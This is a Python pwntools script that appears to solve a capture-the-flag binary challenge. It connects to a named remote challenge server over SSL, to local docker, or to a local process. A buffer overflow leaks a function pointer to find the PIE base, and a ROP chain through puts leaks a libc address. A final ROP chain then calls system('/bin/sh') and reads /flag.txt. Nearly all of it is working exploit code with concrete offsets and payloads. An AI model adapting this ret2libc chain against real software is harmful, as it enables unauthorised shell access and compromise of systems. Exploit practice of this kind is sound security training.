#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

# Binary offsets (from Binary Ninja)
admin_func_offset = 0x11a9
user_func_offset = 0x11e4
main_offset = 0x121f
pop_rdi_offset = 0x1323
ret_offset = 0x101a
puts_plt_offset = 0x1090
puts_got_offset = 0x4020

# Libc offsets (from provided libc.so.6)
puts_libc_offset = 0x84420
system_libc_offset = 0x52290
binsh_offset = 0x1b45bd

def exploit(target='local'):
    if target == 'remote':
        # Connect to the actual CTF server with SSL
        p = remote('7c7a32e4-ed76-412d-9037-15f69f69d406.openec.sc', 31337, ssl=True)
    elif target == 'docker':
        # Connect to local docker for testing
        p = remote('localhost', 1337)
    else:
        # Local binary
        p = process('./chall/app')
    
    # =================================================================
    # STAGE 1: Leak PIE base address
    # =================================================================
    info("[Stage 1] Leaking PIE base")
    p.recvuntil(b"name?")
    
    # Send "admin" + padding without null terminator to leak function pointer
    payload = b"admin" + b"B" * 99
    p.sendline(payload)
    
    response = p.recvuntil(b"name?")
    leaked_line = response.split(b"hello ")[1].split(b"\n")[0]
    
    # Extract leaked function pointer (at offset 104 from buffer start)
    leaked_bytes = leaked_line[104:110]
    leaked_addr = u64(leaked_bytes + b'\x00\x00')
    pie_base = leaked_addr - admin_func_offset
    
    success(f"PIE base: {hex(pie_base)}")
    
    # Calculate all addresses
    admin_func = pie_base + admin_func_offset
    user_func = pie_base + user_func_offset
    main_addr = pie_base + main_offset
    pop_rdi = pie_base + pop_rdi_offset
    ret_gadget = pie_base + ret_offset
    puts_plt = pie_base + puts_plt_offset
    puts_got = pie_base + puts_got_offset
    
    # =================================================================
    # STAGE 2: Leak libc base address using ROP
    # =================================================================
    info("[Stage 2] Leaking libc via ROP")
    
    # Build payload:
    # - Fill buffer (104 bytes)
    # - Function pointer: admin_func (returns 1, stays in loop)
    # - Saved RBP (8 bytes)  
    # - Return address: pop_rdi (start ROP chain)
    # - ROP: puts(puts_got) then return to main
    
    payload = b"A" * 104
    payload += p64(admin_func)  # Function pointer
    payload += b"B" * 8         # Saved RBP
    payload += p64(pop_rdi)     # Return to ROP
    payload += p64(puts_got)    # Argument for puts
    payload += p64(puts_plt)    # Call puts
    payload += p64(main_addr)   # Return to main for round 3
    
    p.sendline(payload)
    
    response = p.recvuntil(b"name?")
    
    # Extract leaked libc address
    # The leak appears between "bye!" and "Hello functional world!"
    after_bye = response.split(b"bye!\n")[1]
    before_hello = after_bye.split(b"Hello")[0]
    
    # Remove any trailing newlines and whitespace, keep raw bytes
    leaked_bytes = before_hello.rstrip(b'\n')
    
    info(f"Raw leaked bytes: {leaked_bytes.hex()} (length: {len(leaked_bytes)})")
    
    # Pad to 8 bytes if needed (libc addresses typically have null bytes)
    if len(leaked_bytes) < 8:
        leaked_bytes = leaked_bytes.ljust(8, b'\x00')
    elif len(leaked_bytes) > 8:
        leaked_bytes = leaked_bytes[:8]
    
    puts_libc = u64(leaked_bytes)
    libc_base = puts_libc - puts_libc_offset
    system_addr = libc_base + system_libc_offset
    binsh_addr = libc_base + binsh_offset
    
    success(f"Leaked puts@libc: {hex(puts_libc)}")
    success(f"Libc base: {hex(libc_base)}")
    success(f"system: {hex(system_addr)}")
    success(f"/bin/sh: {hex(binsh_addr)}")
    
    # =================================================================
    # STAGE 3: Call system("/bin/sh") or system("cat /flag.txt")
    # =================================================================
    info("[Stage 3] Calling system to get flag")
    
    # Build final payload:
    # - Function pointer: user_func (returns 0, exits loop)
    # - ROP chain to call system
    
    payload = b"A" * 104
    payload += p64(user_func)      # Returns 0, exits loop
    payload += p64(0)              # Saved RBP
    payload += p64(pop_rdi)        # ROP: set rdi
    payload += p64(binsh_addr)     # Argument: "/bin/sh"
    payload += p64(ret_gadget)     # Stack alignment
    payload += p64(system_addr)    # Call system
    
    p.sendline(payload)
    
    # Get shell or execute command
    p.sendline(b"cat /flag.txt")
    
    p.interactive()

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else 'local'
    exploit(target)